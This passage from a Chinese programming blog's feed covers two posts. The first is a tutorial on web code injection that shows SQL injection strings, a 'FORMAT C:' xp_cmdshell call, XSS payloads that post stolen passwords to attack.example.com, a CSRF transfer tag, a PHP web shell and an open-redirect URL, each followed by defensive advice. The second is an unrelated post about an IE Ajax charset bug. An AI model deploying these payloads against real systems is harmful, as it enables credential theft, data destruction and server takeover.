WHERE (name = &#039;&quot; + userName + &quot;&#039;) and (pw = &#039;&quot;+ passWord +&quot;&#039;);&quot;</pre>
</div>
</div>
<p>用户在登录时恶意输入如下的的用户名和口令：</p>
<div dir="ltr">
<div><code data-enlighter-language="sql" class="EnlighterJSRAW">userName = &quot;&#039; OR &#039;1&#039;=&#039;1&quot;;</code></p>
</div>
</div>
<div dir="ltr">
<div><code data-enlighter-language="sql" class="EnlighterJSRAW">passWord = &quot;&#039; OR &#039;1&#039;=&#039;1&quot;;</code></p>
</div>
</div>
<p>此时，将导致原本的SQL字符串被解析为：</p>
<div dir="ltr">
<div>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">strSQL = &quot;SELECT * FROM users
WHERE (name = &#039;&#039; OR &#039;1&#039;=&#039;1&#039;) and (pw = &#039;&#039; OR &#039;1&#039;=&#039;1&#039;);&quot;</pre>
</div>
</div>
<p>也就是实际上运行的SQL命令会变成下面这样的，因此导致无帐号密码，也可登录网站。</p>
<div dir="ltr">
<div><code data-enlighter-language="sql" class="EnlighterJSRAW">strSQL = &quot;SELECT * FROM users;&quot;</code></p>
</div>
</div>
<p>这还不算恶劣的，真正恶劣的是在你的语句后再加一个自己的语句，如：</p>
<p><code data-enlighter-language="sql" class="EnlighterJSRAW">username= &quot;&#039; ; DELETE FROM users; --&quot;;</code></p>
<p>这样一来，要么整个数据库的表被人盗走，要么被数据库被删除。</p>
<p><strong>所以SQL注入攻击被俗称为黑客的填空游戏</strong>。你是否还记得酷壳<a title="千万别惹程序员" href="https://coolshell.cn/articles/6639.html" target="_blank">这篇文章里的SQL注入</a>？</p>
<p><img decoding="async" loading="lazy" class="aligncenter" title="SQL-injection-attack(adjusted)" src="https://coolshell.cn//wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg" alt="" width="600" height="407" /></p>
<p>当他们发现一个网站有SQL注入的时候，他们一般会干下面的事：</p>
<ul>
<li>盗取数据表中的数据，例如个人机密数据（信用卡，身份证，手机号，通讯录……），帐户数据，密码等，获得用户的数据和信息后对这些用户进行“社会工程学”活动（如：<a title="为什么不能用微信或米聊这类的软件" href="https://coolshell.cn/articles/8638.html" target="_blank">我前两天在微信上亲身经历</a>）。</li>
</ul>
<ul>
<li>取得系统管理员权限（例如ALTER LOGIN sa WITH PASSWORD=&#8217;xxxxxx&#8217;）。</li>
</ul>
<ul>
<li>在数据库中的数据中插入一些HTML/JS代码，有可能得以在网页加入恶意链接以及XSS，这样一来就让访问者被黑。</li>
</ul>
<ul>
<li>经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统（例如：MS SQL Server的 xp_cmdshell &#8220;net stop iisadmin&#8221;可停止服务器的IIS服务）。甚至破坏硬盘数据，瘫痪全系统（例如xp_cmdshell &#8220;FORMAT C:&#8221;）。</li>
</ul>
<div>现在的黑客比较坏，瘫痪系统的事，他们干的越来越少，因为没什么利益，他们希望通过获取用户的帐号信息后，转而攻击用户别的帐号，如游戏帐号，网银帐号，QQ帐号等等他们可以获利的事情（这就是为什么我希望大家<a title="如何管理并设计你的口令" href="https://coolshell.cn/articles/2428.html" target="_blank">在不站点上使用不同的口令</a>，甚至不同的用户信息的原因）</div>
<p><strong>如何避免</strong></p>
<ul>
<li>在组合SQL字符串时，先针对所传入的参数作字符转义（如：将单引号字符取代为连续2个单引号字符）。如果使用PHP开发网页程序的话，亦可打开PHP的Magic quote功能自动将所有的网页传入参数，将单引号字符取代为连续2个单引号字符。<strong>如果可能应该过滤以下字符：分号“;”，两个减号“&#8211;”，单引号“&#8217;”，注释“/* &#8230; */”</strong>。（当然，因为注入攻击一般用闭合的引号来玩，所以把引号转义了应该就没有什么问题了）</li>
</ul>
<ul>
<li>更换危险字符。例如在PHP通过<code>addslashes()</code>函数保护SQL注入。</li>
</ul>
<ul>
<li>限制用户输入的长度，限制用户输入的取值范围。</li>
</ul>
<ul>
<li>为当前应用建立权限比较小的数据库用户，这样不会导致数据库管理员丢失。</li>
</ul>
<ul>
<li>把数据库操作封装成一个Service，对于敏感数据，对于每个客户端的IP，在一定时间内每次只返回一条记录。这样可以避免被拖库。</li>
</ul>
<h4></h4>
<h4>跨网站脚本注 入</h4>
<p><strong>跨网站脚本</strong>（<strong>Cross-site</strong> scripting，通常简称为XSS或跨站脚本或跨站脚本攻击）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java， VBScript， ActiveX， Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。</p>
<p>假如我们有这样一段PHP的代码：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$username = $_GET[&#039;username&#039;];
echo &#039;&lt;div&gt; Welcome, &#039; . $username . &#039;&lt;/div&gt;&#039;;</pre>
<p>那么我们可以这样来注入：</p>
<div style="color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;">http://trustedSite.example.com/welcome.php?username=&lt;Script Language=&#8221;Javascript&#8221;&gt;alert(&#8220;You&#8217;ve been attacked!&#8221;);&lt;/Script&gt;</div>
<p>甚至这样：</p>
<div style="color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;">http://trustedSite.example.com/welcome.php?username=&lt;div id=&#8221;stealPassword&#8221;&gt;Please Login:&lt;form name=&#8221;input&#8221; action=&#8221;http://attack.example.com/stealPassword.php&#8221; method=&#8221;post&#8221;&gt;Username: &lt;input type=&#8221;text&#8221; name=&#8221;username&#8221; /&gt;&lt;br/&gt;Password: &lt;input type=&#8221;password&#8221; name=&#8221;password&#8221; /&gt;&lt;input type=&#8221;submit&#8221; value=&#8221;Login&#8221; /&gt;&lt;/form&gt;&lt;/div&gt;</div>
<p>这会让网页显示以下内容：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">
&lt;div class=&quot;header&quot;&gt; Welcome,
    &lt;div id=&quot;stealPassword&quot;&gt;Please Login:
        &lt;form name=&quot;input&quot; action=&quot;attack.example.com/stealPassword.php&quot; method=&quot;post&quot;&gt;
            Username: &lt;input type=&quot;text&quot; name=&quot;username&quot; /&gt;
            &lt;br/&gt;
            Password: &lt;input type=&quot;password&quot; name=&quot;password&quot; /&gt;
            &lt;input type=&quot;submit&quot; value=&quot;Login&quot; /&gt;
        &lt;/form&gt;
    &lt;/div&gt;
&lt;/div&gt;
</pre>
<p>注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码)：</p>
<div style="color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;">
<div>trustedSite.example.com/welcome.php?username=&lt;script+type=&#8221;text/javascript&#8221;&gt;</div>
<div>document.write(&#8216;\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073</div>
<div>\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064</div>
<div>\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067</div>
<div>\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D</div>
<div>\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063</div>
<div>\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F</div>
<div>\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D</div>
<div>\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061</div>
<div>\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068</div>
<div>\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070</div>
<div>\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D</div>
<div>\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079</div>
<div>\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061</div>
<div>\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065</div>
<div>\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073</div>
<div>\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075</div>
<div>\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073</div>
<div>\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022</div>
<div>\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E</div>
<div>\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D</div>
<div>\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C</div>
<div>\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F</div>
<div>\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D&#8217;);&lt;/script&gt;</div>
</div>
<p><strong>XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作（甚至偷用户的cookie）</strong>。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招，还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《<a title="新浪微博的XSS攻击" href="https://coolshell.cn/articles/4914.html" target="_blank">新浪微博的XSS攻击</a>》一文。XSS攻击是程序员有一糊涂就很容易犯的错误，你还可以看看网上的《<a href="http://www.cnblogs.com/kingthy/archive/2011/08/20/2147355.html" target="_blank">腾讯微博的XSS攻击</a>》。</p>
<p>XSS攻击在论坛的用户签档里面（使用img标签）也发生过很多次，包括像一些使用bcode的网站，很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。</p>
<p>不要以为XSS攻击是我们的程序没有写好，有时候，我们会引用别人站点上的js文件，比如：放一个天气预报的小Widget的js，或是一个流量监控，或是一段广告的js文件。你不知道这些东西是不是有问题，如果有恶意的话，这就是你自己主动注入攻击代码了。</p>
<p><strong>另外，XSS攻击有一部分是和浏览器有关的。</strong>比如，如下的一些例子，你可能从来都没有想过吧？（<strong>更多的例子可以参看酷壳很早以前的这篇文章《<a href="https://coolshell.cn/articles/2416.html" target="_blank">浏览器HTML安全列表</a>》</strong>）</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;table background=”javascript:alert(1)”&gt;

&lt;meta charset=”mac-farsi”&gt;¼script¾alert(1)¼/script¾

&lt;img src=”javascript:alert(1)”&gt;</pre>
<p>XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接，通过使用用户在B站点上的登录且还没有过期的cookie，从而使得用户的B站点被攻击。（这得益于现在的多Tab页的浏览器，大家都会同时打开并登录很多的网站，而这些不同网站的页面间的cookie又是共享的）</p>
<p>于是，如果我在A站点内的某个贴子内注入这么一段代码：</p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;img src=&quot;http://bank.example.com/transfer?account=XXX&amp;amount=1000000&amp;for=haoel&quot;&gt;</code></p>
<p>很有可能你就在访问A站的这个贴子时，你的网银可能向我转了一些钱。</p>
<p><strong>如何避免</strong></p>
<p>要防止XSS攻击，一般来说有下面几种手段：</p>
<ul>
<li>严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。</li>
</ul>
<ul>
<li>严格过滤用户的输入。如：
<ul>
<li>PHP的<code>htmlentities()或是htmlspecialchars()或是strip_tags()</code>。</li>
<li>Python的<code>cgi.escape()</code></li>
<li>ASP的<code>Server.HTMLEncode()</code>。</li>
<li>Node.js的node-validator。</li>
<li>Java的<a href="http://code.google.com/p/xssprotect/" rel="nofollow">xssprotect</a>。</li>
</ul>
</li>
</ul>
<ul>
<li>在一些关键功能，完全不能信任cookie，必需要用户输入口令。如：修改口令，支付，修改电子邮件，查看用户的敏感信息等等。</li>
</ul>
<ul>
<li>限制cookie的过期时间。</li>
</ul>
<ul>
<li>对于CSRF攻击，一是需要检查http的reference header。二是不要使用GET方法来改变数据，三是对于要提交的表单，后台动态生成一个随机的token，这个token是攻击者很难伪造的。（对于token的生成，建议找一些成熟的lib库）</li>
</ul>
<p>另外，你可能觉得网站在处理用户的表单提交就行了，其实不是，<strong>想一想那些Web Mail，我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱，你打开一看，你就中招了</strong>。所以，WebMail一般都禁止显示图片和附件，这些都很危险，只有你完全了解来源的情况下才能打开。<strong>电子邮件的SMTP协议太差了，基本上无法校验其它邮件服务器的可信度，我甚至可以自己建一个本机的邮件服务器，想用谁的邮件地址发信就用谁的邮件地址发信</strong>。<span style="color: #cc0000;"><strong>所以，我再次真诚地告诉大家，请用gmail邮箱</strong></span>。别再跟我说什么QQMail之类的好用了。</p>
<h4>上传文件</h4>
<p>上传文件是一个很危险的功能，尤其是你如果不校验上传文件的类型的话，你可能会中很多很多的招，这种攻击相当狠。<strong>试想，如果用户上传给你一个PHP、ASP、JSP的文件，当有人访问这个文件时，你的服务器会解释执行之，这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。</strong></p>
<p>举个例子：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;form action=&quot;upload_picture.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
要上传的文件:
&lt;input type=&quot;file&quot; name=&quot;filename&quot;/&gt;
&lt;br/&gt;
&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;/&gt;
&lt;/form&gt;
</pre>
<p>&nbsp;</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$target = &quot;pictures/&quot; . basename($_FILES[&#039;uploadedfile&#039;][&#039;name&#039;]);
if(move_uploaded_file($_FILES[&#039;uploadedfile&#039;][&#039;tmp_name&#039;], $target)){
    echo &quot;图片文件上传成功&quot;;
}else{&lt;/div&gt;
    echo &quot;图片文件上传失败&quot;;
}</pre>
<p>假如我上传了一个PHP文件如下：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">&lt;?php
system($_GET[&#039;cmd&#039;]);
?&gt;</pre>
<p>那么，我就可以通过如下的URL访问攻击你的网站了：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l</code></p>
<p>抵御这样的攻击有两种手段：</p>
<p>1）限制上传文件的文件扩展名。</p>
<p>2）千万不要使用root或Administrator来运行你的Web应用。</p>
<h4>URL跳转</h4>
<p>URL跳转很有可能会成为攻击利用的工具。</p>
<p>比如下面的PHP代码：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$redirect_url = $_GET[&#039;url&#039;];
header(&quot;Location: &quot; . $redirect_url);</pre>
<p>这样的代码可能很常见，比如当用户在访问你的网站某个页观的时候没有权限，于是你的网站跳转到登录页面，当然登录完成后又跳转回刚才他访问的那个页面。一般来说，我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。</p>
<p>于是我们就可以通过下面的URL，跳转到一个恶意网站上，而那个网站上可能有一段CSRF的代码在等着你，或是一个钓鱼网站。</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">http://bank.example.com/redirect?url=http://attacker.example.net</code></p>
<p>这种攻击具有的迷惑性在于，用户看到的http://bank.example.com，<strong>以为是一个合法网站，于是就点了这个链接，结果通过这个合法网站，把用户带到了一个恶意网站，而这个恶意网站上可能把页面做得跟这个合法网站一模一样，你还以为访问的是正确的地方，结果就被钓鱼了</strong>。</p>
<p>解决这个问题很简单，你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。</p>
<p>你可以看看Google和Baidu搜索引擎的链接跳转，百度的跳转链接是被加密过的，而Google的网站链接很长，里面有网站的明文，但是会有几个加密过的参数，如果你把那些参数移除掉，Google会显示一个重定向的提醒页面。（我个人觉得还是Google做得好）</p>
<p>（本篇文章结束）</p>
<p>这段时间工作和家里的事比较多，所以时间有限，更新不快，而此篇行文比较仓促，欢迎大家补充，并指出我文中的问题。<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li><li ><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg" alt="你会做Web上的用户登录功能吗？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_title">你会做Web上的用户登录功能吗？</a></li><li ><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png" alt="网络数字身份认证术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_title">网络数字身份认证术</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/8711.html">程序员疫苗：代码注入</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/8711.html/feed</wfw:commentRss>
			<slash:comments>63</slash:comments>
		
		
			</item>
		<item>
		<title>一次Ajax查错的经历</title>
		<link>https://coolshell.cn/articles/8170.html</link>
					<comments>https://coolshell.cn/articles/8170.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 27 Aug 2012 06:56:59 +0000</pubDate>
				<category><![CDATA[Ajax开发]]></category>
		<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Programmer]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[程序员]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=8170</guid>

					<description><![CDATA[<p>先说故事，再说想法吧。 我有一朋友做网站，用jQuery的Ajax方法从后端载入一段HTML代码然后动态插入到网页的Div元件中。这个东西太普遍了。jQuery...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/8170.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/8170.html">一次Ajax查错的经历</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>先说故事，再说想法吧。</p>
<p>我有一朋友做网站，用jQuery的Ajax方法从后端载入一段HTML代码然后动态插入到网页的Div元件中。这个东西太普遍了。jQuery强大的load方法可以完成这个事情。朋友的代码是这么写的：</p>
<p>[javascript]var tab = jQuery(&quot;#dynamic_tab&quot;);<br />
var url = &quot;/list_ajax/&quot;;<br />
tab.load(url);[/javascript]</p>
<p>简单到不能再简单了。在Chrome，Firefox，Safari下运行一点问题也没有，只有IE不行，不管是IE7，IE8，还是IE9。问题的症壮是，使用IE访问那个Ajax的链接，没有问题，但是在jQuery的Ajax方法返回了“undefined”的respons对象。没有任何报错！</p>
<p>怎么搞也搞不定，只好Google了一下——“<a href="https://www.google.com/#hl=zh-CN&amp;newwindow=1&amp;site=&amp;source=hp&amp;q=jQuery+load+IE&amp;btnK=Google+%E6%90%9C%E7%B4%A2&amp;oq=jQuery+load+IE" target="_blank">jQuery load IE</a>”，一看，很多人都在问这个问题。于是开始了<a title="各种流行的编程风格" href="https://coolshell.cn/articles/2058.html" target="_blank">散弹枪编程方式</a>。</p>
<p>排在第一的就是StackOverflow被浏览了33K次的这个问题：<a href="http://stackoverflow.com/questions/1061525/jquerys-load-not-working-in-ie-but-fine-in-firefox-chrome-and-safari" target="_blank">jQuery&#8217;s .load() not working in IE &#8211; but fine in Firefox, Chrome and Safari</a>，答案没有被打勾（不靠谱），StackOverflow还有很多人问相似的问题，不过都没有答案。不管三七二十一，先试了一下，散弹枪嘛。试了半天都没有用。</p>
<p>然后上Google查，又看到有人说的IE缓存的问题，什么，要把cache设置成false，或是用下面的方法来解决：</p>
<p>[javascript]var tab = jQuery(&quot;#dynamic_tab&quot;);<br />
var fuckie = Math.random();<br />
var url = &quot;/list_ajax/&quot;+&quot;?fuckie=&quot;+fuckie;<br />
tab.load(url);[/javascript]</p>
<p>反正还是一样，统统不Work，几乎所有的都试了，都不Work。搞了一天的朋友恼怒道：“Microsoft应该快点倒闭吧，产品太烂了”。IE的确是太烂了。</p>
<p><span id="more-8170"></span></p>
<p>于是我用IE9的网页调试器可以看到点了Ajax的链接后，<strong>IE对网站有http的Ajax请求，也可以看到请求返回了，但是就是不显示在我的页面上——jQuery的Ajax的responseText为undefined!</strong></p>
<p>对于我这个老家伙，对jQuery也不熟，我只得开始调试jQuery的代码，想看看里面干了什么，报了什么错？调了一个小时，基本上把jQuery的Ajax的封装看懂了七七八八了，但是还是没找到为什么有问题。</p>
<p>于是，我只得架起原生态的Ajax，看看IE的那个Ajax的ActiveX的对象干了什么事？写了下面的代码（当年写Ajax就是这么写的，所以也不费劲，况且网上还有例程可以抄）：</p>
<p>[javascript]<br />
function InitAjax()<br />
{<br />
    var ajax=false;<br />
    try {<br />
        ajax = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);<br />
    } catch (e) {<br />
        try {<br />
            ajax = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);<br />
        } catch (E) {<br />
            ajax = false;<br />
        }<br />
    }<br />
    if (!ajax &amp;&amp; typeof XMLHttpRequest!=&#8217;undefined&#8217;) {<br />
        ajax = new XMLHttpRequest();<br />
    }<br />
    return ajax;<br />
}</p>
<p>var ajax = InitAjax();<br />
ajax.open(&quot;GET&quot;, url, true);<br />
ajax.onreadystatechange = function() {<br />
    if (ajax.readyState == 4 &amp;&amp; ajax.status == 200) {<br />
        var show = document.getElementById(&quot;HaoChenDIV&quot;).value;<br />
        show.innerHTML = ajax.responseText;<br />
    }<br />
}<br />
ajax.send(null);<br />
[/javascript]</p>
<p>一运行，还是不行，没见IE报什么错，不过，可以确定这不是jQuery的问题了，估计还是我们自己程序的问题。不过此时的程序太好调试了，调试中，在IE9下调式发现原生的IE的Ajax对象在onreadystatechange函数里，其responseText是下面这个样子：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-8171" title="ajax error in ie" src="https://coolshell.cn/wp-content/uploads/2012/08/ajax_error.jpg" alt="" width="601" height="153" srcset="https://coolshell.cn/wp-content/uploads/2012/08/ajax_error.jpg 601w, https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-300x76.jpg 300w" sizes="(max-width: 601px) 100vw, 601px" /></p>
<p>什么是“<strong>系统错误: -1072896658</strong>”？上<a href="https://www.google.com/#hl=zh-CN&amp;newwindow=1&amp;q=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22&amp;oq=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22" target="_blank">google一查</a>，一堆页面，基本上是说乱码了，也就是ajax的后端程序返回的网页编码不认识吧。需要在返回的http header里加上 charset=utf-8。</p>
<p>于是，修改后端的Ajax的程序，明确指定了返回的HTTP Header中的charset，于是IE下就工作正常了，再切回jQuery的load代码，一切正常了（后端的程序本来是utf-8的编码格式，但是不骨明确在HTTP Header中指定，但是只有IE不会自动检测）。</p>
<p>这个问题的原因就是因为我们没有按照规范去写网页。所以，举一反三，HTML的规范还有哪些，太多了，记也记不住。但也许你会知道<strong>有一个叫 <a href="http://validator.w3.org" target="_blank">http://validator.w3.org</a> 的网站可以帮你校验你网页中的很多不规范的东西</strong>。这个工具会报很多很多错，很多都有点吹毛求疵，不过，可以让你看看（注：今天的coolshell装了很多插件，也被我调过一些东西，所以出错很多，我还记得以前没有插件没有我定制化的样式的时候，Wordpress一个错都不报）。</p>
<h4>后记</h4>
<p>我把这个问题和过程分享出来，主要有这么几个目的，并抛出几个问题，大家可以思考一下：</p>
<p style="padding-left: 30px;">1）这个问题网上有很多人都在报，但是基本上找不到答案（包括StackOverflow），所以，我分享出来，填补一下空白。</p>
<p style="padding-left: 30px;">2）我相信我们的程序员天天都在经历这样的事，我不知道大家在遇到这样的事情会怎么做？也许大多数人都在网上查各种解决方案，然后一个一个的试，直到试对了——散弹枪式的编程，呵呵。当然，大多数答案都是可能找到的。但<strong>当我们找到答案了后，我们还会深入去了解这个问题的具体原因并举一反三地去思考一其周边的东西吗</strong>？</p>
<p style="padding-left: 30px;">3）另外，在今天这样N多框架，N多lib，N多开源的年代下，<strong>不知道大家有没有失去了从零开始自己写代码的能力？</strong>比如上面的这个问题，不知道有多少人还会自己写原生态的Ajax？不过，我还是建议大家能在使用各种框架的时候，明白那些最基础的知识，求甚解，知其然知其所以然，真的很重要。</p>
<p>我是从那个“吃糠的年代”过来的程序员，那时的程序员什么都要自己干，很辛苦，今天我和很多人说我以前的那些经历，会被笑话，但是我从这些什么都自己的干的年代过的经历，让我受益很多。我把我的想法分享给大家，希望对大家有用。</p>
<p>(全文完)<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/7186.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg" alt="做个环保主义的程序员" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7186.html" class="wp_rp_title">做个环保主义的程序员</a></li><li ><a href="https://coolshell.cn/articles/5815.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg" alt="来信， 创业 和 移动互联网" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5815.html" class="wp_rp_title">来信， 创业 和 移动互联网</a></li><li ><a href="https://coolshell.cn/articles/4990.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png" alt="程序员技术练级攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4990.html" class="wp_rp_title">程序员技术练级攻略</a></li><li ><a href="https://coolshell.cn/articles/3013.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg" alt="一些非常有意思的杂项资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3013.html" 